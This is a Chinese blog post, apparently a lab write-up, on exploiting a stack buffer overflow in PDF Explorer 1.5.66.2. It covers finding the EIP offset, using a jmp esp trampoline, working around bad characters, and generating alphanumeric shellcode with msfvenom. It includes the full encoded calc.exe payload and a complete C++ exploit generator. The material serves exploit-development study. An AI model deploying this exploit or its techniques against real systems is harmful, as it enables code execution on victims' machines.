selph
selph
发布于 2022-09-28 / 294 阅读
1
0

漏洞分析:PDF Explorer 1.5.66.2 - Buffer Overflow

漏洞简介:

漏洞编号:无

漏洞类型:栈溢出

软件简介:PDF Explorer 是一款 PDF 和信息交换所机制的文件管理软件。它允许您使用元数据字段轻松地将所有PDF文档索引到数据库文件:文件名,文件大小,文件日期,标题,主题,作者,创建者,创建者,创建日期,修改日期和页数。还有 100 个自定义元数据字段可用于包含自定义元数据。

漏洞简介:由于对用户输入内容长度没有限制造成栈溢出(经典的栈溢出),更多漏洞信息见exploit-db相关链接(参考资料[1-2])

实验环境

  • 虚拟机:Windows7sp1 x86
  • 软件:PDF Explorer 1.5.66.2

漏洞验证

打开PDF Explorer软件,Database->Custom fields settings,弹出如下界面:

image

**PS:**这里除了这个Label的编辑框之外,旁边的Preferred prefix和path编辑框也存在同样的栈溢出漏洞,果然,同一个错误很容易犯很多次

往这个Label处输入超长字符串,比如1000个A,程序会奔溃,并且eip执行到了可控的地方

image

漏洞利用

使用x86dbg插件checksec查看模块漏洞缓解措施:啥也没有

image

那写利用就简单多了(才不是):

  1. 找到可控的跳转位置
  2. 构造跳板,跳转到shellcode上去执行

可以通过生成pattern字符,来定位最后跳转到的eip所对应输入的位置:

char* pattern = 
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"
"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"
"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"
"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9";

异常时eip是:0x41386941,使用工具定位结果如下:位于第264字节处

----------------------------------------------------------------------
Value found reversed at postiont 264 in pattern.
----------------------------------------------------------------------

接下来要做的就是在这里填入一个跳板,好让程序跳转到shellcode上,shellcode作为输入参与栈溢出,所以shellcode位于栈上

查看当前的栈:

image

return之后,esp+=12,这里应该是ret c指令来返回的,此时的esp指向这个位置

所以此时的策略是:在这个esp处填入shellcode,然后ret的那个地址找一个jmp esp指令来跳转

踩坑记录:!!!

当我使用msfvenom生成普通的弹出计算器的shellcode时,发现shellcode里出现了0x00坏字符,该字符会导致字符串被截断,以至于shellcode无法完整出现在栈中,固使用-b参数来规避0x00的出现

然后我发现问题没有这么简单,除了0x00,还有很多字节复制到编辑框之后会消失,经过测试发现,部分不可见字符通过复制,可以输入到编辑框中,但部分不行

此时的一个突发奇想就是,能不能让shellcode变成纯字符版本呢?通过查阅资料[3],得知了工具alpha可以完成这项工作,将shellcode转换成纯字符shellcode,于是就去github下载下来,但发现用我的python3.9根本无法执行这个py脚本,各种乱七八糟的报错,emmm,于是,由原本的一个问题变成了两个问题需要解决

经过一晚上的挣扎(摆烂),最后惊奇的发现,msfvenom自带了这种编码…(早知道先去看msf了)

shellcode生成:

┌──(selph㉿kali)-[~]
└─$ msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed BufferRegister=esp 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 440 (iteration=0)
x86/alpha_mixed chosen with final size 440
Payload size: 440 bytes
TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjHK2s07pC0CPK9heUakp2DLKbpVPNkf2dLnkV2ftlKsBex6ox7SzvFUakOllUl51CLs2VLWPO1Jofm31ZgM2kB0RCglK0RFpLKSzGLlK2lR1d8Ysg8uQn1rqnkRygP6aN3LKW9289sejPInkGDnkgqYFFQionLiQjoTMwqZgehip3EJVFcqmJXUk1m14CEhd3hLKshQ4gqjsavlKflPKnk3huLgqyClK7tLKWqN0lI74FD6D1KckQq69cjcakOM0qO3oCjnkB2hkNmqMcZ6aLMLEMbuP305P2pCXtqlK2OlGYoiEoKjP85mrsfsXY6z5OMomioN5wLC63LVjk0YkKPCEguoK2g7c2RPo2J7prs9o8Uqsu12LE3fNbEsHau5PAA

**PS:**这里exploit-db上面的exp(参考资料[2]),在我的环境下经测试,不可用

exp

#define  _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <fstream>

char* shellcode = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjHK2s07pC0CPK9heUakp2DLKbpVPNkf2dLnkV2ftlKsBex6ox7SzvFUakOllUl51CLs2VLWPO1Jofm31ZgM2kB0RCglK0RFpLKSzGLlK2lR1d8Ysg8uQn1rqnkRygP6aN3LKW9289sejPInkGDnkgqYFFQionLiQjoTMwqZgehip3EJVFcqmJXUk1m14CEhd3hLKshQ4gqjsavlKflPKnk3huLgqyClK7tLKWqN0lI74FD6D1KckQq69cjcakOM0qO3oCjnkB2hkNmqMcZ6aLMLEMbuP305P2pCXtqlK2OlGYoiEoKjP85mrsfsXY6z5OMomioN5wLC63LVjk0YkKPCEguoK2g7c2RPo2J7prs9o8Uqsu12LE3fNbEsHau5PAA";

char buffer[2000] = { 0 };
int main()
{  
	// 构造payload
	memset(buffer, 'A', 264);
    	char* payload =
        "\xa7\x87\x15\x77"      //jmp esp 771587a7
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90";
    	strcat(buffer, payload);
    	strcat(buffer, shellcode);

	// 写入文件
	std::ofstream o;
	o.open("poc.txt", std::ios::out | std::ios::trunc);
	o << buffer << std::endl;

	// 关闭文件
	o.close();
	return 0;
}

效果:程序崩掉,弹窗计算器

image

总结

平平无奇的经典栈溢出,本漏洞的收获在于构造有限制的shellcode,了解纯字符shellcode并进行实践使用

参考资料


评论